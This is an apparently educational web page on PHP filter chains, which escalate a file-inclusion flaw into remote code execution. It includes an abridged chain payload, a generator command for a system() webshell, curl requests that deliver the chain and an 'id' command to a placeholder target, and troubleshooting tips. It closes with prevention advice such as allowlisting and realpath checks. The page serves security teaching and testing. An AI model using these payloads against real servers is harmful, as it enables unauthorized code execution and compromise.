Skip to content
criticalCVSS 9.8CWE-98A03:2021 – Injection

PHP Filter Chains

Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.

The technique that changed this topic

Every other escalation on this site needs something: a permissive php.ini, a writable directory, an upload feature, a readable log, outbound network access. This one needs none of them.

The insight, published by Charles Fol in 2022 building on loknop's work, is that php://filter is not only a way to transform a stream — it is a way to generate one. A handful of convert.iconv conversions emit bytes of their own when fed particular input. Chain hundreds of them in the right order and the wrapper produces an arbitrary byte sequence from an empty source.

Point an include() at that chain and it executes bytes that were never on the disk. On a default configuration. This is why File Inclusion in 2026 argues that the live technique is not remote inclusion — it is this.

Why nothing stops it

Walk through the controls that would normally apply:

  • allow_url_include=Off — not consulted. php://filter is not a URL include, and never was. This is the single most important property of the technique.
  • allow_url_fopen=Off — not consulted either, for the same reason.
  • No writable directory — nothing is written. The content is synthesised in the stream.
  • No upload feature — nothing is uploaded.
  • No outbound connectivity — nothing is fetched. resource=php://temp is an empty in-memory stream that always exists.
  • open_basedir — nothing is read from the filesystem, so there is no path to confine.
  • disable_functions — irrelevant to whether the include happens, though it does constrain what your payload can then do.

What is required is short: an inclusion sink that executes, your input at the start of the string, and no appended suffix.

How the chain is built

The chain constructs the base64 representation of your payload, one character at a time, in reverse, and then decodes it.

The primitive is that some convert.iconv.<A>.<B> conversions prepend bytes — a byte-order mark, an ISO-2022 escape sequence — rather than merely transcoding what they are given. Base64-encode the result and the prepended bytes determine the first base64 character. Someone brute-forced every encoding pair to find, for each of the 64 base64 characters, a conversion sequence that produces it.

Each step of the chain is then:

  1. Apply the conversion for the next character. It lands at the front of the accumulator.
  2. convert.base64-decode then convert.base64-encode, which strips everything that is not valid base64 — the conversions leave debris, and this is how it is cleaned up.
  3. convert.iconv.UTF8.UTF7, which removes the = padding the re-encode just added.

Repeat for every character of your base64 payload, working backwards. Terminate with a single convert.base64-decode and the wrapper emits your original bytes.

That is roughly 150 characters of chain per byte of payload, which is why chain length is the practical limit.

What it looks like

Payloadabridged — a real chain is thousands of characters
php://filter/
  convert.iconv.UTF8.CSISO2022KR|          <- prelude: seed some bytes
  convert.base64-encode|
  convert.iconv.UTF8.UTF7|                 <- strip the = padding

  convert.iconv.UTF8.UTF16|                <- one character's conversion...
  convert.iconv.WINDOWS-1258.UTF32LE|
  convert.iconv.ISIRI3342.ISO-IR-157|
  convert.base64-decode|                   <- ...then the cleanup cycle
  convert.base64-encode|
  convert.iconv.UTF8.UTF7|

  … one such block per base64 character, in reverse …

  convert.base64-decode                    <- terminator: emit the real bytes
/resource=php://temp

# resource=php://temp because the chain needs no real file — php://temp is
# always present and always empty, so there is nothing to guess and nothing
# for open_basedir to confine.

Using it

Bash
# Generate one here: /filter-chain
# Or with the reference implementation:
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'

# The chain goes in the vulnerable parameter. URL-encode it — it contains
# pipes and slashes, and a proxy in the path may object to raw ones.
curl -s -G 'https://target.example/index.php' \
  --data-urlencode "page=$CHAIN" \
  --data-urlencode 'cmd=id'

# If the chain is too long for the request line, move it to a POST body
# parameter — the sink usually reads $_REQUEST or the app accepts both.
curl -s 'https://target.example/index.php?cmd=id' \
  --data-urlencode "page=$CHAIN"

# Keep the payload minimal. <?php system($_GET["cmd"]);?> is 30 bytes and
# produces a chain of roughly 4KB. A full webshell will not fit.

When it comes back empty

This is the common experience the first few times. Work through it in this order.

Turn on debug mode. Drop the final convert.base64-decode (the generator has a toggle). You should get base64 back. If you do, the chain is fine and the problem is at the include. If you get nothing, the chain is not running at all.

Check your input reaches position zero. include('pages/' . $page) makes php:// a directory name. This is by far the most common cause and there is no way around it from the parameter — see PHP Wrappers and Streams.

Check for an appended extension. resource=php://temp + .php breaks the resource. See Extension Append Bypasses.

Check the length. Apache's default LimitRequestLine is 8190 bytes and nginx's default header buffer is 8k. A truncated chain fails silently. Move it to a POST body.

Check the sink executes. A chain into file_get_contents builds perfectly and achieves nothing — you will get your payload echoed as text rather than run. See Inclusion vs Traversal.

Check the PHP build has iconv. It is compiled in on essentially every distribution build, but a minimal custom build may lack it, and every conversion then fails. php://filter/convert.base64-encode/resource=index.php working while a chain does not is the signature.

Related techniques

wrapwrap generalises the idea. Instead of synthesising a whole file from nothing, it prepends chosen bytes to a real file that the wrapper reads. That turns "I can read this file" into "I can read this file with a header of my choosing on the front", which matters when the target parses what it reads — an XML document you can prepend a DOCTYPE to, or a config file you can prepend a directive to.

Filter chains as an oracle. Some conversions fail on particular byte sequences, which makes the chain error out. That difference is observable, and it can be used to read a file one byte at a time even when the output is never reflected — a blind read primitive built out of a technique that normally needs the output.

Non-PHP targets. None. This is specific to PHP's stream filter implementation, and there is no analogue in any of the other six runtimes on the cheatsheet.

Prevention

There is no configuration that stops this. That is the point of the guide and it is worth being blunt about it in a report: recommending allow_url_include=Off as a remediation is recommending a setting that is already off and was never relevant.

What works:

  • Allowlist the parameter. Map an identifier to a filename through a fixed table. The parameter stops being a path, and every technique on this site stops applying. This is the fix.
  • Prepend a base directory if you cannot allowlist. It does not stop traversal, but it does move the input off position zero, which disables every php:// wrapper at once. A genuine mitigation for this specific technique, and an accident of how PHP parses schemes rather than a designed control.
  • realpath() plus a prefix check, which rejects a wrapper outright because realpath() returns false for one.

See Defense in Depth and try each of them in the lab.